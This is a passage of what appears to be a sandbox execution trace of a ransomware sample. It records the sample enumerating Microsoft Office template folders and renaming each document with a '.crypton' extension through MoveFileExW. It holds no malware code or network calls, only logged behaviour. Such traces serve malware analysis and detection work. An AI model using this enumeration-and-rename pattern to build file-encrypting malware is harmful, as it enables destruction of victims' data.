office\\templates\\1033\\essentialletter.dotx.crypton"), dwFlags=0x2) returned 1 [0130.283] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialMergeLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialmergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0130.568] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialReport.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialreport.dotx.crypton"), dwFlags=0x2) returned 1 [0130.745] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\EssentialResume.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\essentialresume.dotx.crypton"), dwFlags=0x2) returned 1 [0130.786] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx.crypton"), dwFlags=0x2) returned 1 [0130.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveMergeLetter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivemergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0130.976] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveNewsletter.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivenewsletter.dotx.crypton"), dwFlags=0x2) returned 1 [0131.284] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveReport.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executivereport.dotx.crypton"), dwFlags=0x2) returned 1 [0131.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveResume.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveresume.dotx.crypton"), dwFlags=0x2) returned 1 [0131.357] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ExpenseReport.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\expensereport.xltx.crypton"), dwFlags=0x2) returned 1 [0131.364] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcba94660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcba94660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0131.408] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx.crypton"), dwFlags=0x2) returned 1 [0131.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\MedianFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\medianfax.dotx.crypton"), dwFlags=0x2) returned 1 [0131.527] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OrielFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\orielfax.dotx.crypton"), dwFlags=0x2) returned 1 [0131.587] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\OriginFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\originfax.dotx.crypton"), dwFlags=0x2) returned 1 [0131.796] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\UrbanFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\urbanfax.dotx.crypton"), dwFlags=0x2) returned 1 [0132.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\FiveRules.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fiverules.potx.crypton"), dwFlags=0x2) returned 1 [0132.402] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx.crypton"), dwFlags=0x2) returned 1 [0132.440] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\LoanAmortization.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\loanamortization.xltx.crypton"), dwFlags=0x2) returned 1 [0132.520] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianletter.dotx.crypton"), dwFlags=0x2) returned 1 [0132.580] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergefax.dotx.crypton"), dwFlags=0x2) returned 1 [0132.643] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianMergeLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianmergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0132.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx.crypton"), dwFlags=0x2) returned 1 [0132.957] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx.crypton"), dwFlags=0x2) returned 1 [0132.987] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Office Word 2003 Look.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\office word 2003 look.dotx.crypton"), dwFlags=0x2) returned 1 [0132.990] GetFileType (hFile=0x1a4) returned 0x1 [0132.997] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcca0d560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcca0d560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0132.998] GetFileType (hFile=0x20c) returned 0x1 [0133.003] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcca336c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcca336c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0133.004] GetFileType (hFile=0x214) returned 0x1 [0133.008] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcca336c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcca336c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0133.013] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcca336c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcca336c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0133.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\ACADEMIC.ONE.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\academic.one.crypton"), dwFlags=0x2) returned 1 [0133.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\blank.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BLANK.ONE.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\blank.one.crypton"), dwFlags=0x2) returned 1 [0133.463] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\business.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\BUSINESS.ONE.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\business.one.crypton"), dwFlags=0x2) returned 1 [0133.830] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\DESIGNER.ONE.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\designer.one.crypton"), dwFlags=0x2) returned 1 [0133.958] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\planners.one"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\PLANNERS.ONE.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\planners.one.crypton"), dwFlags=0x2) returned 1 [0134.061] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx.crypton"), dwFlags=0x2) returned 1 [0134.161] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx.crypton"), dwFlags=0x2) returned 1 [0134.263] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0134.554] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx.crypton"), dwFlags=0x2) returned 1 [0134.743] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx.crypton"), dwFlags=0x2) returned 1 [0134.813] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx.crypton"), dwFlags=0x2) returned 1 [0134.989] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx.crypton"), dwFlags=0x2) returned 1 [0135.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0135.720] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx.crypton"), dwFlags=0x2) returned 1 [0135.881] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx.crypton"), dwFlags=0x2) returned 1 [0135.900] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx.crypton"), dwFlags=0x2) returned 1 [0136.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx.crypton"), dwFlags=0x2) returned 1 [0136.412] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx.crypton"), dwFlags=0x2) returned 1 [0136.427] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\PROJPLAN.XLTX.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projplan.xltx.crypton"), dwFlags=0x2) returned 1 [0136.477] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx.crypton"), dwFlags=0x2) returned 1 [0136.502] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx.crypton"), dwFlags=0x2) returned 1 [0136.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TASKLIST.XLTX.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\tasklist.xltx.crypton"), dwFlags=0x2) returned 1 [0136.526] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\TimeCard.xltx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\timecard.xltx.crypton"), dwFlags=0x2) returned 1 [0136.924] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\Training.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\training.potx.crypton"), dwFlags=0x2) returned 1 [0136.986] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanletter.dotx.crypton"), dwFlags=0x2) returned 1 [0137.031] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeFax.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergefax.dotx.crypton"), dwFlags=0x2) returned 1 [0137.179] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanMergeLetter.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanmergeletter.dotx.crypton"), dwFlags=0x2) returned 1 [0137.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanPhotoAlbum.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanphotoalbum.potx.crypton"), dwFlags=0x2) returned 1 [0137.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanReport.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanreport.dotx.crypton"), dwFlags=0x2) returned 1 [0137.919] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\UrbanResume.Dotx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\urbanresume.dotx.crypton"), dwFlags=0x2) returned 1 [0138.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\1033\\WidescreenPresentation.potx.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\widescreenpresentation.potx.crypton"), dwFlags=0x2) returned 1 [0138.071] GetFileType (hFile=0x190) returned 0x1 [0138.076] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfa8d5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfa8d5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0138.076] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif.crypton" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif.crypton"), dwFlags=0x2) returned 1 [0138.078] GetFileType (hFile=0x1f4) returned 0x1 [0138.083] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcfa8d5a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xcfa8d5a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", 